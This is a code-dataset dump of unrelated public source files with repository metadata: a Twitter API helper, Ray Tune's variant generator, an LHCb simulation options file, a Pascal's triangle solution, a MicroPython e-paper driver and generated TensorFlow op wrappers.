# -*- coding:UTF-8 -*- """ Twitter REST API https://dev.twitter.com/rest/reference @author: hikaru email: hikaru870806@hotmail.com 如有问题或建议请联系 """ from common import * import base64 import json import os API_HOST = "https://api.twitter.com" API_VERSION = "1.1" ACCESS_TOKEN = None token_file_path = os.path.join(os.path.dirname(__file__), "token") def init(): # 设置代理 crawler.quickly_set_proxy() if ACCESS_TOKEN is not None: return True # 文件存在,检查格式是否正确 if os.path.exists(token_file_path): api_info = tool.json_decode(tool.decrypt_string(tool.read_file(token_file_path)), []) if crawler.check_sub_key(("api_key", "api_secret"), api_info): # 验证token是否有效 if get_access_token(api_info["api_key"], api_info["api_secret"]): output.print_msg("access token get succeed!") return True else: output.print_msg("api info has expired") else: output.print_msg("decrypt api info failure") # token已经无效了,删除掉 path.delete_dir_or_file(token_file_path) output.print_msg("Please input api info") while True: api_key = output.console_input("API KEY: ") api_secret = output.console_input("API SECRET; ") # 验证token是否有效 if get_access_token(api_key, api_secret): # 加密保存到文件中 if not os.path.exists(token_file_path): api_info = tool.encrypt_string(json.dumps({"api_key": api_key, "api_secret": api_secret})) tool.write_file(api_info, token_file_path, tool.WRITE_FILE_TYPE_REPLACE) output.print_msg("access token get succeed!") return True output.print_msg("incorrect api info, please type again!") return False def get_access_token(api_key, api_secret): auth_url = API_HOST + "/oauth2/token" header_list = { "Authorization": "Basic %s" % base64.b64encode("%s:%s" % (api_key, api_secret)), "Content-Type": 'application/x-www-form-urlencoded;charset=UTF-8.', } post_data = { "grant_type": "client_credentials" } response = net.http_request(auth_url, method="POST", header_list=header_list, fields=post_data, json_decode=True) if ( response.status == net.HTTP_RETURN_CODE_SUCCEED and crawler.check_sub_key(("token_type", "access_token"), response.json_data) and response.json_data["token_type"] == "bearer" ): global ACCESS_TOKEN ACCESS_TOKEN = response.json_data["access_token"] return True return False def _get_api_url(end_point): return "%s/%s/%s" % (API_HOST, API_VERSION, end_point) # 根据user_id获取用户信息 def get_user_info_by_user_id(user_id): api_url = _get_api_url("users/show.json") query_data = {"user_id": user_id} header_list = {"Authorization": "Bearer %s" % ACCESS_TOKEN} response = net.http_request(api_url, method="GET", fields=query_data, header_list=header_list, json_decode=True) if response.status == net.HTTP_RETURN_CODE_SUCCEED: return response.json_data return {} # 关注指定用户 def follow_account(user_id): api_url = _get_api_url("friendships/create.json") api_url += "?user_id=%s" % user_id header_list = { "Authorization": "Bearer %s" % ACCESS_TOKEN, } response = net.http_request(api_url, method="POST", header_list=header_list, json_decode=True) if response.status == net.HTTP_RETURN_CODE_SUCCEED: pass return False init()
[ "hikaru870806@hotmail.com" ]
hikaru870806@hotmail.com
6031751b68485dbf5c1e5226d49d14b2c3de8c39
31a0b0749c30ff37c3a72592387f9d8195de4bd6
/python/ray/tune/suggest/basic_variant.py
608318d7cc534e7d4267ae0e9fd43bc6ce7cece0
[ "BSD-3-Clause", "MIT", "Apache-2.0" ]
permissive
longshotsyndicate/ray
15100bad514b602a3fa39bfe205288e7bec75d90
3341fae573868338b665bcea8a1c4ee86b702751
refs/heads/master
2023-01-28T15:16:00.401509
2022-02-18T05:35:47
2022-02-18T05:35:47
163,961,795
1
1
Apache-2.0
2023-01-14T08:01:02
2019-01-03T11:03:35
Python
UTF-8
Python
false
false
15,175
py
import copy import glob import itertools import os import uuid from typing import Dict, List, Optional, Union import warnings import numpy as np from ray.tune.error import TuneError from ray.tune.experiment import Experiment, convert_to_experiment_list from ray.tune.config_parser import make_parser, create_trial_from_spec from ray.tune.sample import np_random_generator, _BackwardsCompatibleNumpyRng from ray.tune.suggest.variant_generator import ( count_variants, count_spec_samples, generate_variants, format_vars, flatten_resolved_vars, get_preset_variants, ) from ray.tune.suggest.search import SearchAlgorithm from ray.tune.utils.util import atomic_save, load_newest_checkpoint SERIALIZATION_THRESHOLD = 1e6 class _VariantIterator: """Iterates over generated variants from the search space. This object also toggles between lazy evaluation and eager evaluation of samples. If lazy evaluation is enabled, this object cannot be serialized. """ def __init__(self, iterable, lazy_eval=False): self.lazy_eval = lazy_eval self.iterable = iterable self._has_next = True if lazy_eval: self._load_value() else: self.iterable = list(iterable) self._has_next = bool(self.iterable) def _load_value(self): try: self.next_value = next(self.iterable) except StopIteration: self._has_next = False def has_next(self): return self._has_next def __next__(self): if self.lazy_eval: current_value = self.next_value self._load_value() return current_value current_value = self.iterable.pop(0) self._has_next = bool(self.iterable) return current_value class _TrialIterator: """Generates trials from the spec. Args: uuid_prefix (str): Used in creating the trial name. num_samples (int): Number of samples from distribution (same as tune.run). unresolved_spec (dict): Experiment specification that might have unresolved distributions. constant_grid_search (bool): Should random variables be sampled first before iterating over grid variants (True) or not (False). output_path (str): A specific output path within the local_dir. points_to_evaluate (list): Same as tune.run. lazy_eval (bool): Whether variants should be generated lazily or eagerly. This is toggled depending on the size of the grid search. start (int): index at which to start counting trials. random_state (int | np.random.Generator | np.random.RandomState): Seed or numpy random generator to use for reproducible results. If None (default), will use the global numpy random generator (``np.random``). Please note that full reproducibility cannot be guaranteed in a distributed enviroment. """ def __init__( self, uuid_prefix: str, num_samples: int, unresolved_spec: dict, constant_grid_search: bool = False, output_path: str = "", points_to_evaluate: Optional[List] = None, lazy_eval: bool = False, start: int = 0, random_state: Optional[ Union[int, "np_random_generator", np.random.RandomState] ] = None, ): self.parser = make_parser() self.num_samples = num_samples self.uuid_prefix = uuid_prefix self.num_samples_left = num_samples self.unresolved_spec = unresolved_spec self.constant_grid_search = constant_grid_search self.output_path = output_path self.points_to_evaluate = points_to_evaluate or [] self.num_points_to_evaluate = len(self.points_to_evaluate) self.counter = start self.lazy_eval = lazy_eval self.variants = None self.random_state = random_state def create_trial(self, resolved_vars, spec): trial_id = self.uuid_prefix + ("%05d" % self.counter) experiment_tag = str(self.counter) # Always append resolved vars to experiment tag? if resolved_vars: experiment_tag += "_{}".format(format_vars(resolved_vars)) self.counter += 1 return create_trial_from_spec( spec, self.output_path, self.parser, evaluated_params=flatten_resolved_vars(resolved_vars), trial_id=trial_id, experiment_tag=experiment_tag, ) def __next__(self): """Generates Trial objects with the variant generation process. Uses a fixed point iteration to resolve variants. All trials should be able to be generated at once. See also: `ray.tune.suggest.variant_generator`. Returns: Trial object """ if "run" not in self.unresolved_spec: raise TuneError("Must specify `run` in {}".format(self.unresolved_spec)) if self.variants and self.variants.has_next(): # This block will be skipped upon instantiation. # `variants` will be set later after the first loop. resolved_vars, spec = next(self.variants) return self.create_trial(resolved_vars, spec) if self.points_to_evaluate: config = self.points_to_evaluate.pop(0) self.num_samples_left -= 1 self.variants = _VariantIterator( get_preset_variants( self.unresolved_spec, config, constant_grid_search=self.constant_grid_search, random_state=self.random_state, ), lazy_eval=self.lazy_eval, ) resolved_vars, spec = next(self.variants) return self.create_trial(resolved_vars, spec) elif self.num_samples_left > 0: self.variants = _VariantIterator( generate_variants( self.unresolved_spec, constant_grid_search=self.constant_grid_search, random_state=self.random_state, ), lazy_eval=self.lazy_eval, ) self.num_samples_left -= 1 resolved_vars, spec = next(self.variants) return self.create_trial(resolved_vars, spec) else: raise StopIteration def __iter__(self): return self class BasicVariantGenerator(SearchAlgorithm): """Uses Tune's variant generation for resolving variables. This is the default search algorithm used if no other search algorithm is specified. Args: points_to_evaluate (list): Initial parameter suggestions to be run first. This is for when you already have some good parameters you want to run first to help the algorithm make better suggestions for future parameters. Needs to be a list of dicts containing the configurations. max_concurrent (int): Maximum number of concurrently running trials. If 0 (default), no maximum is enforced. constant_grid_search (bool): If this is set to ``True``, Ray Tune will *first* try to sample random values and keep them constant over grid search parameters. If this is set to ``False`` (default), Ray Tune will sample new random parameters in each grid search condition. random_state (int | np.random.Generator | np.random.RandomState): Seed or numpy random generator to use for reproducible results. If None (default), will use the global numpy random generator (``np.random``). Please note that full reproducibility cannot be guaranteed in a distributed enviroment. Example: .. code-block:: python from ray import tune # This will automatically use the `BasicVariantGenerator` tune.run( lambda config: config["a"] + config["b"], config={ "a": tune.grid_search([1, 2]), "b": tune.randint(0, 3) }, num_samples=4) In the example above, 8 trials will be generated: For each sample (``4``), each of the grid search variants for ``a`` will be sampled once. The ``b`` parameter will be sampled randomly. The generator accepts a pre-set list of points that should be evaluated. The points will replace the first samples of each experiment passed to the ``BasicVariantGenerator``. Each point will replace one sample of the specified ``num_samples``. If grid search variables are overwritten with the values specified in the presets, the number of samples will thus be reduced. Example: .. code-block:: python from ray import tune from ray.tune.suggest.basic_variant import BasicVariantGenerator tune.run( lambda config: config["a"] + config["b"], config={ "a": tune.grid_search([1, 2]), "b": tune.randint(0, 3) }, search_alg=BasicVariantGenerator(points_to_evaluate=[ {"a": 2, "b": 2}, {"a": 1}, {"b": 2} ]), num_samples=4) The example above will produce six trials via four samples: - The first sample will produce one trial with ``a=2`` and ``b=2``. - The second sample will produce one trial with ``a=1`` and ``b`` sampled randomly - The third sample will produce two trials, one for each grid search value of ``a``. It will be ``b=2`` for both of these trials. - The fourth sample will produce two trials, one for each grid search value of ``a``. ``b`` will be sampled randomly and independently for both of these trials. """ CKPT_FILE_TMPL = "basic-variant-state-{}.json" def __init__( self, points_to_evaluate: Optional[List[Dict]] = None, max_concurrent: int = 0, constant_grid_search: bool = False, random_state: Optional[ Union[int, "np_random_generator", np.random.RandomState] ] = None, ): self._trial_generator = [] self._iterators = [] self._trial_iter = None self._finished = False self._random_state = _BackwardsCompatibleNumpyRng(random_state) self._points_to_evaluate = points_to_evaluate or [] # Unique prefix for all trials generated, e.g., trial ids start as # 2f1e_00001, 2f1ef_00002, 2f1ef_0003, etc. Overridable for testing. force_test_uuid = os.environ.get("_TEST_TUNE_TRIAL_UUID") if force_test_uuid: self._uuid_prefix = force_test_uuid + "_" else: self._uuid_prefix = str(uuid.uuid1().hex)[:5] + "_" self._total_samples = 0 self.max_concurrent = max_concurrent self._constant_grid_search = constant_grid_search self._live_trials = set() @property def total_samples(self): return self._total_samples def add_configurations( self, experiments: Union[Experiment, List[Experiment], Dict[str, Dict]] ): """Chains generator given experiment specifications. Arguments: experiments (Experiment | list | dict): Experiments to run. """ experiment_list = convert_to_experiment_list(experiments) for experiment in experiment_list: grid_vals = count_spec_samples(experiment.spec, num_samples=1) lazy_eval = grid_vals > SERIALIZATION_THRESHOLD if lazy_eval: warnings.warn( f"The number of pre-generated samples ({grid_vals}) " "exceeds the serialization threshold " f"({int(SERIALIZATION_THRESHOLD)}). Resume ability is " "disabled. To fix this, reduce the number of " "dimensions/size of the provided grid search." ) previous_samples = self._total_samples points_to_evaluate = copy.deepcopy(self._points_to_evaluate) self._total_samples += count_variants(experiment.spec, points_to_evaluate) iterator = _TrialIterator( uuid_prefix=self._uuid_prefix, num_samples=experiment.spec.get("num_samples", 1), unresolved_spec=experiment.spec, constant_grid_search=self._constant_grid_search, output_path=experiment.dir_name, points_to_evaluate=points_to_evaluate, lazy_eval=lazy_eval, start=previous_samples, random_state=self._random_state, ) self._iterators.append(iterator) self._trial_generator = itertools.chain(self._trial_generator, iterator) def next_trial(self): """Provides one Trial object to be queued into the TrialRunner. Returns: Trial: Returns a single trial. """ if self.max_concurrent > 0 and len(self._live_trials) >= self.max_concurrent: return None if not self._trial_iter: self._trial_iter = iter(self._trial_generator) try: trial = next(self._trial_iter) self._live_trials.add(trial.trial_id) return trial except StopIteration: self._trial_generator = [] self._trial_iter = None self.set_finished() return None def on_trial_complete( self, trial_id: str, result: Optional[Dict] = None, error: bool = False ): if trial_id in self._live_trials: self._live_trials.remove(trial_id) def get_state(self): if any(iterator.lazy_eval for iterator in self._iterators): return False state = self.__dict__.copy() del state["_trial_generator"] return state def set_state(self, state): self.__dict__.update(state) for iterator in self._iterators: self._trial_generator = itertools.chain(self._trial_generator, iterator) def save_to_dir(self, dirpath, session_str): if any(iterator.lazy_eval for iterator in self._iterators): return False state_dict = self.get_state() atomic_save( state=state_dict, checkpoint_dir=dirpath, file_name=self.CKPT_FILE_TMPL.format(session_str), tmp_file_name=".tmp_generator", ) def has_checkpoint(self, dirpath: str): """Whether a checkpoint file exists within dirpath.""" return bool(glob.glob(os.path.join(dirpath, self.CKPT_FILE_TMPL.format("*")))) def restore_from_dir(self, dirpath: str): """Restores self + searcher + search wrappers from dirpath.""" state_dict = load_newest_checkpoint(dirpath, self.CKPT_FILE_TMPL.format("*")) if not state_dict: raise RuntimeError("Unable to find checkpoint in {}.".format(dirpath)) self.set_state(state_dict)
[ "noreply@github.com" ]
longshotsyndicate.noreply@github.com
82f9883b46dc46677116610f39d5554711370c56
be0f3dfbaa2fa3d8bbe59229aef3212d032e7dd1
/Gauss_v45r9/Gen/DecFiles/options/12215011.py
81feb939e9f19c70ffcc6bcbccd5824ec589796b
[]
no_license
Sally27/backup_cmtuser_full
34782102ed23c6335c48650a6eaa901137355d00
8924bebb935b96d438ce85b384cfc132d9af90f6
refs/heads/master
2020-05-21T09:27:04.370765
2018-12-12T14:41:07
2018-12-12T14:41:07
185,989,173
0
0
null
null
null
null
UTF-8
Python
false
false
1,789
py
# file /home/hep/ss4314/cmtuser/Gauss_v45r9/Gen/DecFiles/options/12215011.py generated: Fri, 27 Mar 2015 16:10:03 # # Event Type: 12215011 # # ASCII decay Descriptor: [ B+ -> mu+ mu- (K_1(1400)+ -> (X -> K+ pi- pi+)) ]cc # from Configurables import Generation Generation().EventType = 12215011 Generation().SampleGenerationTool = "SignalRepeatedHadronization" from Configurables import SignalRepeatedHadronization Generation().addTool( SignalRepeatedHadronization ) Generation().SignalRepeatedHadronization.ProductionTool = "PythiaProduction" from Configurables import ToolSvc from Configurables import EvtGenDecay ToolSvc().addTool( EvtGenDecay ) ToolSvc().EvtGenDecay.UserDecayFile = "$DECFILESROOT/dkfiles/Bu_Kprime1mumu=MS,DecProdCut.dec" Generation().SignalRepeatedHadronization.CutTool = "DaughtersInLHCb" Generation().SignalRepeatedHadronization.SignalPIDList = [ 521,-521 ] # Ad-hoc particle gun code from Configurables import ParticleGun pgun = ParticleGun("ParticleGun") pgun.SignalPdgCode = 521 pgun.DecayTool = "EvtGenDecay" pgun.GenCutTool = "DaughtersInLHCb" from Configurables import FlatNParticles pgun.NumberOfParticlesTool = "FlatNParticles" pgun.addTool( FlatNParticles , name = "FlatNParticles" ) from Configurables import MomentumSpectrum pgun.ParticleGunTool = "MomentumSpectrum" pgun.addTool( MomentumSpectrum , name = "MomentumSpectrum" ) pgun.MomentumSpectrum.PdgCodes = [ 521,-521 ] pgun.MomentumSpectrum.InputFile = "$PGUNSDATAROOT/data/Ebeam4000GeV/MomentumSpectrum_521.root" pgun.MomentumSpectrum.BinningVariables = "pteta" pgun.MomentumSpectrum.HistogramPath = "h_pteta" from Configurables import BeamSpotSmearVertex pgun.addTool(BeamSpotSmearVertex, name="BeamSpotSmearVertex") pgun.VertexSmearingTool = "BeamSpotSmearVertex" pgun.EventType = 12215011
[ "slavomirastefkova@b2pcx39016.desy.de" ]
slavomirastefkova@b2pcx39016.desy.de
3658f5f515232b6535cfc3f3f5df886394dcc75a
33518b9521d8e633010b0b9d1ea0f7a937437200
/Python/pascals_triangle_ii/pascals_triangle_ii.py
85eb1cf48a9472625f0d927e6f7711fe645c5be6
[]
no_license
lqs4188980/CodingPractice
977ddb69306c92a5e3df88f26572200622fad82a
c17653832269ab1bb3e411f7d74bef4c8e9985b3
refs/heads/master
2021-01-22T05:10:40.885490
2016-02-05T09:06:51
2016-02-05T09:06:51
25,272,652
0
1
null
2016-01-06T07:50:29
2014-10-15T20:40:34
Java
UTF-8
Python
false
false
354
py
# 1: 1 # 2: 1 1 # 3: 1 2 1 # 4: 1 3 3 1 class Solution(object): def getRow(self, rowIndex): row = [0] * (rowIndex + 1) row[0] = 1 for i in range(rowIndex + 1): prev = 0 for j in range(i+1): tmp = row[j] row[j] += prev prev = tmp return row
[ "xiaoqin.zhu.4@gmail.com" ]
xiaoqin.zhu.4@gmail.com
981830c316e98caf3c120b5a90cb5dbfdcd87c37
0948f5944bcb95af55ac258d6104044ddbedab6b
/drivers/epaper/epd29.py
eb32805e64ab84450d3e86b092de901fdbda9806
[ "MIT" ]
permissive
peterhinch/micropython-nano-gui
e9b7ca20535bbb52c695083deb28721074cfa71e
5eef93317e83bc767da88fba8acdfc2a167db794
refs/heads/master
2023-06-22T09:27:18.739604
2023-06-12T13:43:47
2023-06-12T13:43:47
146,632,615
360
78
MIT
2023-09-02T09:08:16
2018-08-29T17:07:07
Python
UTF-8
Python
false
false
9,320
py
# epd29.py nanogui driver for Adafruit Flexible 2.9" Black and White ePaper display. # [Interface breakout](https://www.adafruit.com/product/4224) # [Display](https://www.adafruit.com/product/4262) # EPD is subclassed from framebuf.FrameBuffer for use with Writer class and nanogui. # Copyright (c) Peter Hinch 2020-2023 # Released under the MIT license see LICENSE # Based on the following sources: # [CircuitPython code](https://github.com/adafruit/Adafruit_CircuitPython_IL0373) Author: Scott Shawcroft # [Adafruit setup guide](https://learn.adafruit.com/adafruit-eink-display-breakouts/circuitpython-code-2) # [IL0373 datasheet](https://www.smart-prototyping.com/image/data/9_Modules/EinkDisplay/GDEW0154T8/IL0373.pdf) # [Adafruit demo](https://github.com/adafruit/Adafruit_CircuitPython_IL0373/blob/3f4f52eb3a65173165da1908f93a95383b45a726/examples/il0373_flexible_2.9_monochrome.py) # [eInk breakout schematic](https://learn.adafruit.com/assets/57645) # Physical pixels are 296w 128h. However the driver views the display as 128w * 296h with the # Adfruit code transposing the axes. import framebuf import uasyncio as asyncio from micropython import const from time import sleep_ms, sleep_us, ticks_ms, ticks_us, ticks_diff from drivers.boolpalette import BoolPalette def asyncio_running(): try: _ = asyncio.current_task() except: return False return True MAX_BLOCK = const(20) # Maximum blocking time (ms) for asynchronous show. class EPD(framebuf.FrameBuffer): # A monochrome approach should be used for coding this. The rgb method ensures # nothing breaks if users specify colors. @staticmethod def rgb(r, g, b): return int((r > 127) or (g > 127) or (b > 127)) # Discard asyn: autodetect def __init__(self, spi, cs, dc, rst, busy, landscape=True, asyn=False): self._spi = spi self._cs = cs # Pins self._dc = dc self._rst = rst # Active low. self._busy = busy # Active low on IL0373 self._lsc = landscape # ._as_busy is set immediately on start of task. Cleared # when busy pin is logically false (physically 1). self._as_busy = False self.updated = asyncio.Event() self.complete = asyncio.Event() # Public bound variables required by nanogui. # Dimensions in pixels as seen by nanogui (landscape mode). self.width = 296 if landscape else 128 self.height = 128 if landscape else 296 # Other public bound variable. # Special mode enables demos written for generic displays to run. self.demo_mode = False self._buffer = bytearray(self.height * self.width // 8) self._mvb = memoryview(self._buffer) mode = framebuf.MONO_VLSB if landscape else framebuf.MONO_HLSB self.palette = BoolPalette(mode) super().__init__(self._buffer, self.width, self.height, mode) self.init() def _command(self, command, data=None): self._dc(0) self._cs(0) self._spi.write(command) self._cs(1) if data is not None: self._data(data) # Datasheet P26 seems to mandate CS False after each byte. Ugh. def _data(self, data, buf1=bytearray(1)): self._dc(1) for b in data: self._cs(0) buf1[0] = b self._spi.write(buf1) self._cs(1) def init(self): # Hardware reset self._rst(1) sleep_ms(200) self._rst(0) sleep_ms(200) self._rst(1) sleep_ms(200) # Initialisation cmd = self._command # Power setting. Data from Adafruit. # Datasheet default \x03\x00\x26\x26\x03 - slightly different voltages. cmd(b'\x01', b'\x03\x00\x2b\x2b\x09') # Booster soft start. Matches datasheet. cmd(b'\x06', b'\x17\x17\x17') cmd(b'\x04') # Power on sleep_ms(200) # Iss https://github.com/adafruit/Adafruit_CircuitPython_IL0373/issues/16 cmd(b'\x00', b'\x9f') # CDI: As used by Adafruit. Datasheet is confusing on this. # See https://github.com/adafruit/Adafruit_CircuitPython_IL0373/issues/11 # With 0x37 got white border on flexible display, black on FeatherWing # 0xf7 still produced black border on FeatherWing cmd(b'\x50', b'\x37') # PLL: correct for 150Hz as specified in Adafruit code cmd(b'\x30', b'\x29') # Resolution 128w * 296h as required by IL0373 cmd(b'\x61', b'\x80\x01\x28') # Note hex(296) == 0x128 # Set VCM_DC. Now clarified with Adafruit. # https://github.com/adafruit/Adafruit_CircuitPython_IL0373/issues/17 cmd(b'\x82', b'\x12') # Set Vcom to -1.0V sleep_ms(50) print('Init Done.') # For use in synchronous code: blocking wait on ready state. def wait_until_ready(self): sleep_ms(50) while not self.ready(): sleep_ms(100) # Return immediate status. Pin state: 0 == busy. def ready(self): return not(self._as_busy or (self._busy() == 0)) async def _as_show(self, buf1=bytearray(1)): mvb = self._mvb cmd = self._command dat = self._data cmd(b'\x13') t = ticks_ms() if self._lsc: # Landscape mode wid = self.width tbc = self.height // 8 # Vertical bytes per column iidx = wid * (tbc - 1) # Initial index idx = iidx # Index into framebuf vbc = 0 # Current vertical byte count hpc = 0 # Horizontal pixel count for i in range(len(mvb)): buf1[0] = ~mvb[idx] dat(buf1) idx -= wid vbc += 1 vbc %= tbc if not vbc: hpc += 1 idx = iidx + hpc if not(i & 0x0f) and (ticks_diff(ticks_ms(), t) > _MAX_BLOCK): await asyncio.sleep_ms(0) t = ticks_ms() else: for i, b in enumerate(mvb): buf1[0] = ~b dat(buf1) if not(i & 0x0f) and (ticks_diff(ticks_ms(), t) > _MAX_BLOCK): await asyncio.sleep_ms(0) t = ticks_ms() cmd(b'\x11') # Data stop self.updated.set() sleep_us(20) # Allow for data coming back: currently ignore this cmd(b'\x12') # DISPLAY_REFRESH # busy goes low now, for ~4.9 seconds. await asyncio.sleep(1) while self._busy() == 0: await asyncio.sleep_ms(200) self._as_busy = False self.complete.set() # draw the current frame memory. def show(self, buf1=bytearray(1)): if asyncio_running(): if self._as_busy: raise RuntimeError('Cannot refresh: display is busy.') self._as_busy = True # Immediate busy flag. Pin goes low much later. self.updated.clear() self.complete.clear() asyncio.create_task(self._as_show()) return mvb = self._mvb cmd = self._command dat = self._data # DATA_START_TRANSMISSION_2 Datasheet P31 indicates this sets # busy pin low (True) and that it stays logically True until # refresh is complete. In my testing this doesn't happen. cmd(b'\x13') if self._lsc: # Landscape mode wid = self.width tbc = self.height // 8 # Vertical bytes per column iidx = wid * (tbc - 1) # Initial index idx = iidx # Index into framebuf vbc = 0 # Current vertical byte count hpc = 0 # Horizontal pixel count for _ in range(len(mvb)): buf1[0] = ~mvb[idx] dat(buf1) idx -= wid vbc += 1 vbc %= tbc if not vbc: hpc += 1 idx = iidx + hpc else: for b in mvb: buf1[0] = ~b dat(buf1) cmd(b'\x11') # Data stop sleep_us(20) # Allow for data coming back: currently ignore this cmd(b'\x12') # DISPLAY_REFRESH # 258ms to get here on Pyboard D # Checking with scope, busy goes low now. For 4.9s. if not self.demo_mode: # Immediate return to avoid blocking the whole application. # User should wait for ready before calling refresh() return self.wait_until_ready() sleep_ms(2000) # Give time for user to see result # to wake call init() def sleep(self): self._as_busy = False self.wait_until_ready() cmd = self._command # CDI: not sure about value or why we set this here. Copying Adafruit. cmd(b'\x50', b'\x17') # Set VCM_DC. 0 is datasheet default. cmd(b'\x82', b'\x00') # POWER_OFF. User code should pull ENA low to power down the display. cmd(b'\x02')
[ "peter@hinch.me.uk" ]
peter@hinch.me.uk
84af3f0d80361a517ec7807267275308b3d76b5e
da370ba0df9700519139e1da54f3e7f38e9b7f5f
/.nox/tests/lib/python3.7/site-packages/tensorflow_core/contrib/tensor_forest/python/ops/gen_stats_ops.py
397321760769a5c416456b517c610396fe234ad6
[ "Apache-2.0", "LicenseRef-scancode-generic-cla" ]
permissive
antonevenepoel/open_spiel
90e3c7c6611cf508f2872237412fd67cf6cd10e0
f2f0c786410018675fc40e9a5b82c40814555fa8
refs/heads/master
2021-03-15T20:57:00.562672
2020-05-15T16:10:23
2020-05-15T16:10:23
246,877,171
0
0
Apache-2.0
2020-03-12T16:07:42
2020-03-12T16:07:41
null
UTF-8
Python
false
false
40,209
py
"""Python wrappers around TensorFlow ops. This file is MACHINE GENERATED! Do not edit. Original C++ source file: gen_stats_ops_py.cc """ import collections as _collections import six as _six from tensorflow.python import pywrap_tensorflow as _pywrap_tensorflow from tensorflow.python.eager import context as _context from tensorflow.python.eager import core as _core from tensorflow.python.eager import execute as _execute from tensorflow.python.framework import dtypes as _dtypes from tensorflow.python.framework import errors as _errors from tensorflow.python.framework import tensor_shape as _tensor_shape from tensorflow.core.framework import op_def_pb2 as _op_def_pb2 # Needed to trigger the call to _set_call_cpp_shape_fn. from tensorflow.python.framework import common_shapes as _common_shapes from tensorflow.python.framework import op_def_registry as _op_def_registry from tensorflow.python.framework import ops as _ops from tensorflow.python.framework import op_def_library as _op_def_library from tensorflow.python.util.deprecation import deprecated_endpoints from tensorflow.python.util import dispatch as _dispatch from tensorflow.python.util.tf_export import tf_export from tensorflow.python.util.tf_export import kwarg_only as _kwarg_only from tensorflow.tools.docs import doc_controls as _doc_controls @_dispatch.add_dispatch_list @tf_export('create_fertile_stats_variable') def create_fertile_stats_variable(stats_handle, stats_config, params, name=None): r"""Creates a stats model and returns a handle to it. Args: stats_handle: A `Tensor` of type `resource`. handle to the stats resource to be created. stats_config: A `Tensor` of type `string`. Serialized proto of the stats. params: A `string`. A serialized TensorForestParams proto. name: A name for the operation (optional). Returns: The created Operation. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "CreateFertileStatsVariable", name, _ctx.post_execution_callbacks, stats_handle, stats_config, "params", params) return _result except _core._FallbackException: try: return create_fertile_stats_variable_eager_fallback( stats_handle, stats_config, params=params, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( create_fertile_stats_variable, stats_handle=stats_handle, stats_config=stats_config, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. params = _execute.make_str(params, "params") try: _, _, _op = _op_def_lib._apply_op_helper( "CreateFertileStatsVariable", stats_handle=stats_handle, stats_config=stats_config, params=params, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( create_fertile_stats_variable, stats_handle=stats_handle, stats_config=stats_config, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise return _op _result = None return _result def CreateFertileStatsVariable(stats_handle, stats_config, params, name=None): return create_fertile_stats_variable(stats_handle=stats_handle, stats_config=stats_config, params=params, name=name) CreateFertileStatsVariable.__doc__ = create_fertile_stats_variable.__doc__ CreateFertileStatsVariable = _doc_controls.do_not_generate_docs(_kwarg_only(CreateFertileStatsVariable)) tf_export("raw_ops.CreateFertileStatsVariable")(CreateFertileStatsVariable) def create_fertile_stats_variable_eager_fallback(stats_handle, stats_config, params, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function create_fertile_stats_variable """ _ctx = ctx if ctx else _context.context() params = _execute.make_str(params, "params") stats_handle = _ops.convert_to_tensor(stats_handle, _dtypes.resource) stats_config = _ops.convert_to_tensor(stats_config, _dtypes.string) _inputs_flat = [stats_handle, stats_config] _attrs = ("params", params) _result = _execute.execute(b"CreateFertileStatsVariable", 0, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _result = None return _result _ops.RegisterShape("CreateFertileStatsVariable")(None) @_dispatch.add_dispatch_list @tf_export('fertile_stats_deserialize') def fertile_stats_deserialize(stats_handle, stats_config, params, name=None): r"""Deserializes a serialized stats config and replaces current stats. Args: stats_handle: A `Tensor` of type `resource`. The handle to the stats. stats_config: A `Tensor` of type `string`. Serialized proto of the stats. params: A `string`. A serialized TensorForestParams proto. name: A name for the operation (optional). Returns: The created Operation. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "FertileStatsDeserialize", name, _ctx.post_execution_callbacks, stats_handle, stats_config, "params", params) return _result except _core._FallbackException: try: return fertile_stats_deserialize_eager_fallback( stats_handle, stats_config, params=params, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( fertile_stats_deserialize, stats_handle=stats_handle, stats_config=stats_config, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. params = _execute.make_str(params, "params") try: _, _, _op = _op_def_lib._apply_op_helper( "FertileStatsDeserialize", stats_handle=stats_handle, stats_config=stats_config, params=params, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( fertile_stats_deserialize, stats_handle=stats_handle, stats_config=stats_config, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise return _op _result = None return _result def FertileStatsDeserialize(stats_handle, stats_config, params, name=None): return fertile_stats_deserialize(stats_handle=stats_handle, stats_config=stats_config, params=params, name=name) FertileStatsDeserialize.__doc__ = fertile_stats_deserialize.__doc__ FertileStatsDeserialize = _doc_controls.do_not_generate_docs(_kwarg_only(FertileStatsDeserialize)) tf_export("raw_ops.FertileStatsDeserialize")(FertileStatsDeserialize) def fertile_stats_deserialize_eager_fallback(stats_handle, stats_config, params, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function fertile_stats_deserialize """ _ctx = ctx if ctx else _context.context() params = _execute.make_str(params, "params") stats_handle = _ops.convert_to_tensor(stats_handle, _dtypes.resource) stats_config = _ops.convert_to_tensor(stats_config, _dtypes.string) _inputs_flat = [stats_handle, stats_config] _attrs = ("params", params) _result = _execute.execute(b"FertileStatsDeserialize", 0, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) 